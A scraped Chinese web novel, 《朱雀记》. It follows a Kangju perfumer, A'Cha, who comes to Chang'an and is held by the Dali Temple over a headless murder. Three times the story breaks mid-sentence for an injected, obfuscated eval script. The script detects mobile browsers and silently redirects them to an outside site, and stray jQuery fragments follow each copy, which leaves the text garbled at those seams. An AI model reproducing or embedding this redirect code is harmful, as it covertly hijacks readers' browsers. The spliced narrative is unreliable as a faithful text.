《朱雀记》
1. 第 1 章
“我叫阿茶,从康居来。”
大理寺监牢里,这已经是阿茶第五次说这句话了,在她被关的这两日中。
你问她为什么被抓进来,那此事就说来话长了……
五日前,约莫巳初,一座宏伟的城门前坐着几个穿着浅绿和深绿色圆领袍的人,从周围行人尊敬的态度可知,他们是鸿胪寺四方馆的官员。
阿茶到得迟,排了好一会儿才轮到她,递上户籍和路引,查验无误后,踏进城内,映入眼帘的是能并排走十辆马车的宽阔大街,其上往来着不同肤色的不同人种。
长安,大黎的都城,女子不用戴帷帽就可以上街,无论高低贵贱都能肆意生长的长安,这是阿茶十年前对长安的第一印象,
直到真正走入这座城,阿茶才明白她还是太狭隘,以前的想象简直太幼稚。
“这条路就是朱雀大街了吧,好长啊!”
“小娘子是第一次来长安吧!一个人?可有相熟之人接洽?不若来小店休憩片刻,就在城门不远,住店就更便宜了,只要两百文一晚……”
一个约莫五六十岁的老妪拦住阿茶,瞧这架势,许是见阿茶是外地人不知行情,想宰她一把。
“不用了。”
若阿茶真是不谙世事的小娘子,说不定还真叫她哄骗了去。
没成想老妪不死心,还想上手强拉阿茶,
“哎呀,小娘子别走啊,经济实惠呢,奴家也是见你一个人可怜,这才好心,怎的如此不……”
阿茶轻盈的避开老妪那双瘦骨嶙峋,黑黝黝的双手,又眼尖的看到远处高头大马上身着黑衣甲胄的男子,计上心来,
“大婶,真的不用了,哎,远处那是金吾卫巡街吧,大人,大人,这里有人……”
“哎,别别,我这就走,走还不成吗。小娘子怎的这般……”
老妪骂骂咧咧的走远,这类蹲守在城门旁的老叟老妪自然是没有什么客栈能提供的,
多是将人骗到偏僻的巷道,自有人守在暗处将人打晕再将身上的财物洗劫一空。
本朝规定男六十女五十者,只要不犯十恶刑法皆可减半,可不就让他们钻到空子了,一来是好心,二来所骗钱财不多,三来外地人无从求告。
然被官府抓到也少不了监牢几日游,早已年迈的身体肯定受不住,遇到官身自然只能躲得远远的。
阿茶见老妪走远脚步一转换了条道,离开城门口后见附近有一家车马行还有单程租赁服务,果断上了一辆开阔的轺车,
下车后多方打听后,站在一家卖香料的铺子前,阿茶到达了此行的目的地——西市中曲的香料铺子。
“小娘子门外哪能看清,不若进来看看,我这里啊,什么样的香料都有。”
阿茶在铺子外刚站没几息,店内忽的传出一声女声,没有推辞,阿茶走进店铺。
普一入内,只觉香气扑鼻,苏合、安息、龙脑、沉水……
阿茶只觉心旷神怡,她来自盛产香料的康居,往日也曾靠调香这门手艺行走西域各地。
许是在众多香料中闻到了不多见的种类,阿茶走到八宝柜的角落拿起两个不起眼的匣子,打开一看,里面分别盛放着苷香和阿薛纳香。
阿茶心想,‘这两种可是康居国独有的品种,每年存量极少,想不到在长安还能得见,店主定是下了一番苦心才拿到。’
“小娘子真有眼光,这些个啊,是康居特有的,哎哟,瞧您的长相,莫不正是康居人?”
阿茶放下手中的匣子,转身抬眸看了一眼眼前的妇人,约莫三十左右,穿着一身深绿色长袍,薄纱下是深邃的眼窝和高挺的鼻梁,应该是疏勒或者莎车人。
只不过她一眼就看出了阿茶的来历这不得不让阿茶警惕,毕竟若算起来阿茶的长相并非是典型的康居长相,乃因她的母亲是中原人。
阿茶来此并非为了买香料,于是收起打量换了一副人畜无害的脸,笑着迎上去,向她行了一个康居礼坐实身份。
“娘子好眼力,我正是从康居前来,之前与一位同伴约好了在此处碰面,不知贵店有没有一位叫阿延奇的男子。”
“你找阿延奇?你可是叫阿茶?”
“正是,娘子可是有未卜先知的能力,这都让你猜中了!”
笑和装傻,一向都是有用的,观这妇人欣喜的样子,阿茶心想,‘看来临走前写给阿延奇的信,他定是一早就收到了。’
“哎呀,掌柜的可等了你许久了,怎么才到?路上可是遇到危险了?”
妇人见到了要等的人,自来熟一般挽上阿茶的胳膊,拉着她就往一旁的雅间走。
“没呢,路途遥远,我一个人不敢前往,便找了个商队,跟管事的磨了许久,他才答应带我上路。让姐姐久等了,还不知姐姐贵姓呢。”
妇人听见这话,脸上的笑意真诚了几分,阿茶瞟了一眼腕上搭实的手臂便知妇人放下了芥蒂。
“阿茶姑娘客气了,我就是个下人,姑娘若是不嫌弃,唤我一声阿济便可。先在此处稍坐片刻,我这就去传信让掌柜的尽快回来。”
“多谢阿济姐姐,那我就不客气了。”
坐了大约两炷香,店主还未归,阿茶快要坐不住了,再待下去,阿济和这家店的底细都快被她摸清了。
随口又抛出一个问题,阿济思索的间隙,阿茶喝了一口杯盏中的清茶,刚咽下去阿济的声音从耳旁传来,
“掌柜的!掌柜的可算回来了,你看看谁来了。”
阿济瞧着瘦瘦小小一个,嗓门真不小,阿茶恰好低头耳朵的位置正好在阿济嘴边,这一嗓子下去,阿茶的耳朵被震的嗡嗡的,还未反应过来她说的什么,就被包进一个宽厚的胸膛。
“阿茶,你终于到了!”
“松……松一……点……”
“哦,好好,阿茶你没事吧。”
“咳,咳咳……”
两只脚平稳的站在地上,阿茶猛烈的咳嗽来了好半晌才止住,直起身不快的语气劈头盖脸冲向那人,
“阿延奇,你吃什么……你,你,”阿茶颇为惊讶的看着眼前的男子,“你还是阿延奇吗,看着与几年前,那个词叫什么来着……天壤之别,对,天壤之别呀!”
“此处不是说话的地方,先随我入内吧。”
阿延奇故作镇定在前方带路,然而红透的耳朵早以出卖了他,阿茶又打量了几圈阿延奇的背影,欣慰的笑了,想来这几年他过的极好。
进了一间类似厅堂的房子里,刚坐下来,就见一七八岁的少年端着茶壶走进来,
“罗格?这是罗格吧,你都长这么大了!这几年过的好吗?也对你应该不记得我了,我是……”
叫罗格的少年放下茶壶,先给阿茶倒上奶茶,才将阿茶还未说完的话茬接了过去,
“阿茶姑姑安好,我一切都好,这几年已经跟着舅舅在学做生意了,一路舟车劳顿累了吧,这是咸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648606|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奶茶,你快尝尝,还是不是家乡的味道。”
“再聊什么?”
话音未落,就听见外间传来阿延奇爽朗的声音,
“俩祖宗,去膳堂用饭了,阿济都叫好几声了,一点没听见吗?”
午后阿延奇与罗格带着阿茶逛了逛西市,直到日落才回到铺子,用过晚饭回到自己的屋子,阿茶从柜子里翻出来时的包袱,带下来几件亮色的襦裙,
幸好阿茶眼疾手快接住了,叠好放回原处才看见满满一柜子的女装,都是她爱的样式和颜色,心中不禁温暖了几分,不用说阿茶也知道是谁准备的,
脚步也轻快了几分,白日没怎么注意,眼下才发现这间屋子几乎与她家那间卧房一般无二。
从包袱中取出一叠黄纸,阿茶将今日的所见所闻一一记录,这是她这一年以来日日都要做的事,
正准备找个陶土盆将黄纸烧掉,门外响起敲门声。
阿延奇抱来的一个匣子推到阿茶跟前,“这是给你的。”
“是什么?”
阿茶边问便打开,只见里面装着满满一盒子的银铤。
“阿延奇,你这是什么意思?”
阿茶神色一僵,刚体会到的温暖不复存在。
坐在桌案对面的人许是一早就料到了这个局面,面不改色的说,
“这并不是我给你的,是康叔和乔姑姑留给你的。”
两人僵持许久,阿茶才叹息一声,收下了这个盒子,两人都清楚,这其实只是阿延奇想让阿茶心安理得接受的借口。
几年前,阿茶的父亲带回被人追杀的阿延奇,住了一段日子追兵还是找到了他,走投无路之际,是阿茶阿娘劝他来长安试试,阿茶阿爷还给了他一笔银钱,怕他不收,只说是当做入股,赚的钱将来留给阿茶当嫁妆。
如今瞧这一盒子,少说有几百两,早就超过了当初阿茶父母给他的了。
两人闲聊间,阿延奇发现了一旁的黄纸,沉声问道,
“还有吗,我还没祭拜过康叔叔和乔姑姑,晚辈做成这样子实在是不该。”
阿茶一顿,忽然从一旁的柜子里拿出一个瓷罐,
“我把他们二老带来了,正好方便你祭拜,我这个朋友够意思吧。”
阿延奇被这一手操作吓得不轻,立马跪下将怀中的瓷罐稳稳放在桌案上,
怒不可遏的看向阿茶,“这是你双亲,你怎能,”随即又跟泄了气的皮球一般瘫坐在地,
“我吼你作甚,这一看就是康叔的主意,只是乔姑姑为何……”
“为何,因为她爱阿爷,离不开阿爷啊。因为她一个人活不了,只能去找阿爷。因为他们情比金坚。她一生都想回长安看一眼,为人子女的不得实现双亲的遗愿是不是。跪着作甚,起来吧,阿爷最不喜人动不动就跪啊跪的了。”
阿茶语气平静,无波无澜,整个人与白日想比,简直像是一潭死水。
阿延奇起身在她身旁坐下,长叹一声,不知如何开口,
“阿茶,你……你不要怪乔姑姑,她一定有自己的苦衷,不是故意想要抛下你一个人的。”
因为自己都不能被这番话说服,以至于阿延奇面露心虚,想看阿茶的神色却又不敢直视。
还得阿茶反过来劝慰他,笑话他现在的样子,一点都配不上如今高大的身形,
送走阿延奇,阿茶继续做完剩下的事,蹲在地上烧完写满思念的黄纸,思绪逐渐飘远。
2. 第 2 章
阿茶这就算在长安安定下来了,翌日一早,她便来到前院铺子,
阿延奇早就给她开辟出一小块地方,专供她研制香粉所用。
研发是件耗费精力和时间的事,不知不觉一日眨眼就过去了,
胡人之间没有那么多规矩,多是合桌合食,也没有食不言寝不语的规矩,
饭桌上阿延奇问起阿茶头一次在长安做活的感受,他虽知晓阿茶以往也能独自在各地行走,但还是担心她在长安会不适应。
经阿延奇这么一说,阿茶确实想起一件不算太美好的回忆,不由得眉头一皱,这细微的变化还是叫阿延奇发觉,语气也严肃了几分,
“发生了何事?能看得出是哪里的人吗,长什么样子还记得吗?”
“只是一件小事,你不提我都要忘了,”阿茶并没有将那事放在心上,不过难得见阿延奇如此紧张,忍不住又打取笑他,“怎么,你还想在这偌大的长安城找到那人,然后替我教训出气吗?”
“也不是不可。可有伤到?手臂还是脚踝?伸出来我看看,被撞的地方可曾用过药了?”
阿延奇话音未落放下筷子,就想要来抓阿茶的手,大有亲自看看才安心的架势。
眼看他的手就要碰到阿茶被撞到的小臂,小人儿罗格赶忙起身拦住,也把话茬一并接了过去,
“阿茶姑姑没什么事,已经请过大夫了,是怀远坊的陈医师,舅舅可仔细些吧,你差点碰到阿茶姑姑的伤处。”
“我在柜台前看见了一些,好像是一对年轻的夫妻,女子穿了一身胡服,玄色的头纱掩盖了大半张脸,男子我倒是没有看见脸,不过身量很高,穿着一身圆领袍,不知是不是胡人”
“他们应该是被阿茶姑姑研制的香粉的气味吸引,最后不知怎么的,那两人却发生了争执,推搡间,将阿茶姑姑的桌案也一并撞倒,连同上面的香粉,全洒在了地上。”
“阿茶姑姑想伸手去接,也被撞到了地上,倒下的桌案正正好压在了她的手臂上,还好那桌案不重,打碎的香粉盒子碎片也没有蹦到阿茶姑姑身上,这才没有引起血光之灾。”
罗格记性不错,将发生的事情说了个七七八八,我咽下最后一口汤饼,接着他的话说道:“就是可怜我那一桌子的香料,不过还好罗格够机灵,让他们赔了一大笔钱,不然可就得不偿失了。”
阿延奇见她能吃能喝,甚至还有心思打趣他,也确实不像是被影响的样子,这才稍稍放下高悬的心,
他总是担心阿茶还没走出双亲俱亡的悲伤,既想让她自在些又不想让她看见恩爱夫妻相敬如宾的场景,毕竟他也不能理解乔姑姑为何抛下阿茶一人,自刎在康叔叔灵前。
不想再勾起阿茶的伤心,阿延奇顺着阿茶的话回了一句,顺带将太过放大的情绪隐藏,“一点香料而已,洒了就洒了,人没事就好。”
“既然掌柜的都不在意,那我只好放下了。阿月不是比我先走吗,怎的还未到,等她到了我们可得好好盘问盘问她。”
阿茶也不想一件小事分走他们甥舅二人太多注意力,平日里就够忙的了,她私心总觉得自己能够照顾好自己,巧妙的把话题转到了旁的地方。
来长安已有五日,阿茶前几日研发的香粉特点在于留香持久,起初的一批因害怕没有人买几乎都作赠品送了,结果广受好评,就连这几日的试卖也几乎是一扫而光。
如今有些许不自信的她总是把原因归结于阿延奇的这家铺子地段够好,整个中曲只有他一家是做香料生意的,既没有竞争对象,也不愁客源,生意自然不错。
巳时未过,准备好的香粉已经售卖一空,看着空荡荡的架子,阿茶露出久违的真挚的笑容,
走到柜台旁对阿济说:“容我小憩了片刻,阿济这几日也累惨了吧,醒后我准备再多调制一些,明日我们就可以多卖几份出去。”
酉时末,店内突然来了几个身穿官服的衙役,
“大理寺办案,闲杂人等速速离去!”
被惊扰躲在一旁的客人纷纷丢下东西跑出铺子,
“哎,哎,还没给钱呢。几位官爷来小店可是有要事?”
阿济见有人趁乱浑水摸鱼偷拿了不少东西出去,气的想追出去讨要,却被衙役持刀拦下,只好卑躬屈膝,一脸讨好的询问。
阿茶听见动静从后走出来,伸手拉起阿济将其护在身后,先是低声安慰了她几句,这才站在衙身前出声询问,
“几位大人来访小店倍感荣幸,只是不知大人来此是办什么案子,若是有需要的小店一定知无不言言无不尽……”
见领头之人没有理会上前见礼的阿茶,一旁的年轻衙役态度极为傲慢的将其推开,扬声喝道:“管事何在,让管事出来回话。”
阿茶脾气上来也不想管官不与民斗的约定俗成,推开挡在身前的衙役,幽幽出声,“我就是,官爷快问吧,小店还要做生意呢。”
“你……”
被阿茶推到一旁的年轻衙役气结,刚准备教训教训不知天高地厚的阿茶,就被领头的衙役拦下,
“娘子有气节,是在下管教不周还望娘子莫要生气。在下有一物,不知娘子可识得。”
说罢领头的衙役从另一人手中拿出一个黛色的瓷罐,正是阿茶用来装香粉的盒子。
阿茶为保属实还是上前细细查看,在衙役诧异的眼神中抽出一方手帕包着手打开盒子闻了闻,又看了眼盒子底部的特殊标记,
“这正是我们铺子近几日售出的新款。”
“那娘子可知是何人制作的这款香粉呢?”
阿茶察觉不多,心中多了几分警觉,细细斟酌后答道:“这是我用店内的香料调制的,一应原料都可以在店中找到。”
“如此就多谢娘子了。”阿茶刚想答一句应该的,领头衙役突然话锋一转,“今查证你涉嫌一桩命案,来人,将她带走!”
两个狱卒不由分说,扯过阿茶架着她的双臂就往外走。
“官爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648607|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,官爷,这是怎么一回事,阿茶,阿茶……”阿济不知事情为何突然变成这样,急切的想追上去问清原委,跑太快还被长裙绊倒在地。
“阿济姐,去找阿延奇,让他去打听打听……”
阿茶就这么被当做嫌犯,关进了大理寺狱。
一路押送她的那个年轻衙役直接将她关进牢房后径直离开,只能下呆坐在茅草床上的阿茶留在黑黝黝的地下二层。
阿茶数着时间,约莫进来小半个时辰了,依旧没人提审她,心中不禁开始纳闷,她来长安后也买了几本本朝的律法和刑法,上面可没有一条写着嫌犯必须先关押几日才能受审,
阿茶心想‘等我出去后必得状告大理寺一个私设刑法之罪!’
说干就干,阿茶默念前几日看完的律法,从中挑挑拣拣开始构思状纸该如何写,首先得陈述事实,头一条必得是诬陷友邦来客,
既然说到诬陷,阿茶又将来龙去脉仔细回忆了一遍,依旧还是没有发现她能牵扯出什么样的命案,甚至来大理寺的一路她已经将这五日所见过的人都盘了两遍,依旧不清楚衙役说的死者究竟是其中的哪一个。
环顾四周,阿茶发觉大理寺狱关押的犯人并不多,目之所及除了她只有斜对面的牢房关了个男子。
外间还是青天白日,地下的牢房里却只有几个火把提供勉强的照明,那男子穿了一身暗红圆领袍,隔得太远也看不清袍子上有没有暗纹,火把跳动的光影打在他棱角分明立体的脸上面无表情,就这么直愣愣的站在那里,莫名有点渗人。
阿茶望着他的身量在心中与阿延奇暗自比较了一番,得出结论,二人相差无几,都是六尺有余,
若是眼神没这么冷淡,柔和一点,若是再添上些许慈悲,别说,跟阿难陀似的。
白日一直忙着生意,等好不容易忙完又睡意袭来,阿茶没吃几口就去歇息了,哪成想睡醒就到了这里,现下真是又饿又渴,只能苦中作乐的想,希望大理寺的牢房里晚上不跑老鼠,
出去后她得把长安的美食统统吃一遍,什么毕罗胡饼之类的,听闻还有一种叫做鱼脍的美食,价格不菲,但她才不要管这么多,总归不会十两金一盘。
许是因为太过无聊,阿茶将目光对准了对面的男子,看着他站直蹲下,躺在地上摆出怪异的姿势,又起身,沉思,蹲下。
“不会是关久了脑子不太清楚了吧,可那身衣袍没有半分污迹,也不想是关了许久的样子才对啊。”
就在阿茶小声嘀咕之际,对面的男子打开牢房径直走了出去,路过阿茶所在的牢房时,还紧皱眉头望了她一眼。
阿茶借着微弱的光线看清了衣袍上的暗纹,也知道了眼前人根本不是狱友,而且瞧这架势,他约莫也是官身,刚才的怪异之举多半也是为了查案。
男子出去后整个监牢再无一人,高墙上小窗外微弱的风声和火把燃烧的噼啪声清晰入耳,阿茶也不在思索,躺在挑拣干净的茅草上静静聆听不一样的世界。
3. 第 3 章
迷迷糊糊睡了过去,再醒来已经是第二日。
有敲击声从不远处传来,隔壁和看不见的牢房也传来窸窸窣窣的声音,这是狱卒到点进来送饭来了。
看着眼前的一碗稀粥,一碟小菜,一碗水,阿茶没有多的言语端起来就往嘴里扒拉,先不说味道如何,起码看起来就比她阿爷关押流寇的牢房的好太多了。
最后一粒米扒进嘴里,再将三个干干净净的碗碟整整齐齐摆放在牢房外的地上,抬头时听见上首传来一声浑厚的男人声音。
“哟,居然吃完了,胃口不错嘛,人看着也挺精神的,”说罢打开牢房,“走吧,寺正大人有话问你。”
阿茶顺着声音起身,看见的是一个三十上下,穿着与寻常狱卒一样的黑红色劲装的男子,嬉皮笑脸的站在打开的牢房外,
只不过身上的袍子与昨日抓她进来的那些人不太一样,蹀躞带上也多了个精美的鲤鱼形状的荷包,地位上多半比那些人职级要高一些。
阿茶走出牢房,在此人的带领下,走过一条逼仄的石梯,到达一个稍微亮一点的房间,
狱卒口中的寺正坐在正中,那人年约五十,有着一张慈眉善目的脸,奈何说出来的话让人如同身处三九寒天,一上来便给阿茶定下罪名。
“汝便是阿茶,速速交代,为何杀人!”
阿茶被惊堂木“啪”的一声吓得一惊颤,站定后为自己反驳到:“大人民女是被的冤枉,民女才来长安五日不到,这期间既没出过西市,拢共也不认识几个人,除了香料铺子里的三人,也没有旁的相熟之人。”
“再说了,这杀人要有动机吧,可我现在连死者是谁都不清楚,敢问各位大人,大理寺是如何确认是我杀的人?这其中一定是有地方搞错了,还请大人明鉴啊!”
寺正对一旁的衙役使了个眼神,低声问了句,“她所说可为真?”
在得到一衙役的点头之后,瘦小精干的寺正脸上出现些许滑稽的狐疑之色,眯着眼神思索片刻朝堂下的阿茶又吐出几个字,
奈何他文绉绉的说了半天,阿茶愣是一个字都没听懂。
阿茶头一次怀疑起自己对语言上的天赋,她明明精通西域各国的语言,就连中原话也说挺不错的,明明从河西一路过来都是畅通无阻的。
怀疑归怀疑,先证明清白才是正事,阿茶悄悄往旁边挪了几步,轻扯了一下刚才那位狱卒的衣袖,
压低声音说道:“那个,大哥,你能不能去跟这位大人说一声,我实在是没听懂他说的……”
那狱卒听见这话横眉冷眼瞪了阿茶一眼,却看到阿茶故意装出的无辜,终是败下阵来上前将此事告诉了寺正身旁的衙役。
阿茶不动声色的观察着周围人的神色,有人一脸无奈,有人转头偷笑,堂上的寺正更是黑了脸。
随后那些目光就转移至阿茶身上,有看好戏的,有为她默哀的,更有甚至轻轻摇了摇头,寺正率先收回目光,无奈中还夹杂着些许自卑和厌恶,对着刚刚的狱卒耳语几句后,甩袖离开了询堂。
待所有人走后,那狱卒领着阿茶去一处不知名的地方,落拓不羁的脸上带了些许狐疑,问道:“你这中原话说的极为不错,半分听不出西域人的口音,之前真的没有来过长安吗。林寺正是岭南人说话又爱文绉绉的,他们刚刚没有恶意,还望你不要介意。对了,见过死人吧。”
阿茶不知狱卒是何意,照实回道:“见是见过……只不过……”
“见过就成,见过应该就不怕了。”那狱卒自言自语,不知是在安慰阿茶还是安慰他自己。
穿过了几个走廊,之后又是上台阶下台阶,再转过几个弯后又下台阶,七拐八拐,越走越冷,还未到地方,阿茶待惯了空旷一望无际的大漠,实在是受不了逼仄的环境,眼见又要转弯,阿茶头晕眼花强撑着继续往前走,
心中不禁暗骂这些中原人为了防止有人记住路以方便越狱真可谓是煞费苦心。
重伤在一个不起眼的房门前停下,进门前那狱卒又敲打了一番,最后说了句“进去后不可喧哗,只需仔细辨认即可,记清了吗。”这才推门入内。
普一入内,只觉得比大漠飞雪还冷,偏偏如今正值夏日最炎热的时候,阿茶抱紧手臂这才看见原来是墙壁四周都垒放了不少的冰块。
所以这是一间……
“啊!”阿茶被眼前的景象吓到,惊呼出声,也知晓了那狱卒为何一路走来神情时不时担忧又戏谑了。
“大,大哥,那,那是什么,是尸体吗?不知带我来这里,这里的目的是……”
“自然是尸体,此处是验尸房不放尸放什么。你还站的直吗?若是受不住寺正大人特许你用轮椅,在下勉为其难推你过去也成,可要试试?”
那狱卒言出法随还真的从一旁的角落里拉出一辆带轮子的椅子,只不过他自己还依旧站在离门三步远的地方,久久未上前一步。
阿茶鄙夷的看狱卒一眼,知道是尸体就好办了,毕竟她也不是未见过血腥的闺阁千金,帮死去的叔伯们恢复遗容也做的不少了,只是还从未过眼前这个样子的尸体,
四肢粗壮,胸腹隆起状似女子孕晚期,露出来的身躯又像是被泡了三日一样白,这还不是最重要的,重点是阿茶并未看见她没有头!
“不必了,多谢大哥,这是要我辨认?头都没有如何辨认,您……真的不上前来?”
那狱卒讪讪一笑,到底还是挪了两步,只不过依旧离尸体较远,假惺惺的安慰道:“你,你不必害怕,仵作的说了眼前的情况是因为天气炎热,又是在水边发现的尸体,且发现之时已经死了有两日了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648608|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这才会变得,变成你看见的景象。”
“让你来此自然不是为了让你从尸体上找出端倪的,看见那里挂着的衣服了吗,那是死者生前所穿在身上的,这才是让你来的目的,你快看看还有印象吗。”
顺着狱卒所指的方向望去,那是一件暗绿色团纹金绣的长袍,领口以下有大片暗红的血迹,应是凶手砍头后流出的,阿茶走近顺手拿了个竹夹子挑起衣裙借着烛火细细查看,喷射状血迹并不多,却在衣摆上发现了一些细微的白色粉末,凑上去闻了闻,正是她被打翻的桌案上的香粉混合的香味,阿茶大概知道死者是谁了。
回到询堂,狱卒继续补充案情经过,“死者你也见了,死亡时间约莫是前日申时末,经大理寺探查得知那衣袍下摆的香粉出自你手,说说吧,你是在何时见过她,期间发生过什么。”
阿茶将知道的一五一十全数告知,在看清那身暗绿色袍子时,阿茶就知道了死者是谁,或许就连凶手也能确定。
死者正是三日前因争执让阿茶受了无妄之灾的胡女,与她同行之人罗格没看清阿茶倒是看得一清二楚,那人也是胡人,只不过穿了一身天水青的圆领袍而已。
两人明明衣着不凡,却都做了遮掩,进店也不是为了买东西,而是卖一款香料——安息香。
尽管安息香在西域各国都有,但不同地区炮制方法不一样造成的香味也有些许诧异,第二日阿茶特地闻过那胡女抵押给罗格的那一块安息香,不是产自龟兹便是于阗。
“两人为何会发生争执?”狱卒抓住重点打断阿茶的回忆问道。
阿茶脸色黑了几分,厌恶的说道:“”那时我在隔间研制香粉,那男子不知为何逛到了我所在的隔间。我那时还沉浸在调制中,突然感觉被什么恶心的东西盯上了,后背阴深深的,警惕的抬头一看,映入眼帘便的是一双阴鸷、充满色欲的双眼。”
“紧接着那女子就冲了过来,两人争执了几句,就动手了,我干嘛过去阻拦,却被推到在地,不知为何桌案也倒下了,直直的砸在我后背和手臂上,这个淤青便是那时候留下的。”
说完阿茶将衣袖轻轻撩起,露出手臂上那一大片已经变成青紫色的瘀痕。
那狱卒听完阿茶的回忆又确认了一遍手臂上的瘀痕,转身进了一旁的隔间,没待多久出来后告知阿茶可以离开了。
“大理寺已经在鸿胪寺证实你所说确实不假,你既见过那二人,待会儿我带你去见画师,画出二人的长相确认无误后,签字画押就可以离去了。只不过在没有找到凶手前你依旧还有嫌疑,不得在未经大理寺的准许下进出长安,每两日会有大理寺的人去查看你是否还在香料铺子,可听清了。”
走到询堂门口,阿茶突然停下,后退一步对着狱卒刚刚进去的隔间高声说了句话,说完没有
4. 第 4 章
阿茶走后隔间走出一人,身穿绯红圆领袍,头戴幞头,蹀躞带上系着代表身份的银鱼袋,若是阿茶还在定能认出这人正是昨日她在牢房见到的那名男子,实则此人正是本朝有史以来最年轻的大理寺右少卿——崔行。
领着阿茶出去的那狱卒又回到询堂,手中拿着的正是刚画好的死者画像和嫌犯画像。
“少卿,画像画好了,长相上与龟兹人相似,那胡女倒是没说错,只是她最后说的那句话……可信否?”
最后一句话那狱卒说的犹犹豫豫,将画像递给崔行后接着说道:“下官的夫人也在西市芙蓉面买过一盒香粉,虽说能维持一段时间的香气,但决绝是达不到三日还不散的,那胡女研制的真有这么神吗?”
崔行正在看手中的画像,听见狱卒的疑问抬头瞥了他一眼,冷冽的口吻说道:“回去后《齐律》再抄两遍,三日后拿给我,若再有下次往后就不必跟着我了。那女子走时的神情你若是注意到了,就不会说这话了。”
这话说的胡四无地自容,他从小便对探破诡案怀有极大的兴趣,好不容易有一人不看家世愿意教他,他却改不掉从前偷懒耍滑的陋习,还好崔少卿虽罚了他但也给他解释清楚了原委。
“就算她提供的线索有误,那也提供了一条新的思路,你现在要做的难道不是排查吗,三日可要过去了,那女子不是说了洗漱后只剩三成,如今怕也不剩多少了,你还要继续愣在此处吗。”
胡四在崔行冷冽的眼神下匆匆行了个礼退出了询堂。
待胡四走后崔行又唤来一名衙役,让他带着画像去鸿胪寺协助此案的调查。
见整个询堂一时半会不会来人,崔行整个身子瘫在圈椅上,难得的放松,前几日的一桩杀夫案刚结案,这又甩给他一桩无头案,任凭他再怎么能者多劳也愈发觉得身体吃不消了。再加上那难以言齿的病,崔行顿时只觉人生无望。
“少卿你要的验尸……记录,少卿您,您继续,老夫什么都没看见。”
崔行叹了口气,看了眼角落的滴钟,还不到一刻钟,正是一刻都不能放松。
“五叔,”从圈椅上爬起来,崔行难得露出了小辈的羞怯神色,“您可别与旁人说,我还以为今日能放松放松,甄大人与刘寺正交好,体恤他怎的不体恤体恤我。”
接过伊娄仵作递过来的验尸记录,崔行回了一礼,说道:“劳烦五叔跑一趟了,我本准备亲自去看看尸体的,既然五叔来了也省的我亲自跑一趟了,还是五叔体恤子珩。”
“得了得了,别贫了,你先看着,老夫给你按按。”
“如此便多谢五叔了,还是老地方,酸胀得厉害。”
与伊娄五寒暄几句后,崔行展开验尸记录干起了正事,验尸记录写的清晰明了,只见上面写着:
死者女性,骨骼年龄约为二十七八,身长约五尺八寸;
死亡时间,元朔三年七月十三申时三刻至申时五刻;
脖颈处有前后两道划伤,且均为死后伤,靠下一道深可见骨,靠上一道正是连接头颅的地方;
致命伤则在后腰腰腹处,死因为脏器破裂流血过多而死;
凶器因是一尺二寸长,前端微微弯曲的单刃短刀;
除此之外,胸腹处、大腿、小臂皆有不少的瘀伤。
“这女子身长颇高倒是与龟兹女子的身量相似。这些瘀痕也与那胡女说的对的上,看来她倒是没撒谎。”
“你小声嘀咕什么呢,什么胡女,不会是今日胡四带来的那名女子吧。”按完正在一旁净手的伊娄五侧头说道,“说起那名女子,胆子倒是不小,比胡四这么一个大男人强多了,除了最开始被吓到,之后观察死者衣物这些倒是格外冷静,你莫说,与你当年还颇为相像,就连断案的神情都一模一样。”
崔行不在意的回道,“哦?是吗,能得五叔的夸赞那胡女定有过人之处,改日我定得去结识一二,说不定又能为大理寺挖来一个人才。五叔觉着这凶手是何身份?”
“下手稳准狠,多半是习武之人,若凶手真是胡人,那凶器极有可能是胡人擅使的短柄弯刀。”
崔行接着伊娄五的推断接着说:“这人的手法虽准,观这伤口的形态,却绵软无力,这类人多半是大家族出身,训练之时多是敷衍了事。短柄弯刀倒是有可能,这种弯刀多是胡人男子当作装饰物品携带,只不过若是用其伤人,行凶者的虎口必会被划伤。刘武!”
门外一名衙役闻声走进,行礼道,“回崔少卿,刘班头去鸿胪寺了。”
“你赶紧追去,告诉刘武注意要格外手掌虎口有伤,身份不低的男子。”
那人走后崔行接着问出心中的疑问,“那胡女说两人之前发生了争执,且两人原本是去贩卖香料的,显然那时两人关系还未劈裂,虽然落魄了但还是想要继续生活下去的,为何嫌犯会突然杀了她呢,从离开西市到女子死亡前后不超过两个时辰,这期间究竟发生了什么,嫌犯又为何要割下她的头呢。”
伊娄五只是一个仵作,虽也懂些破案之法却也回答不出崔行的问题,在加上见惯了他推理案情时的神情,行了个礼便自行离开了询堂。无他,崔行在推理时早已去了自己的小世界。
午时前胡四和刘武回到大理寺东院向崔行回禀查到的线索。
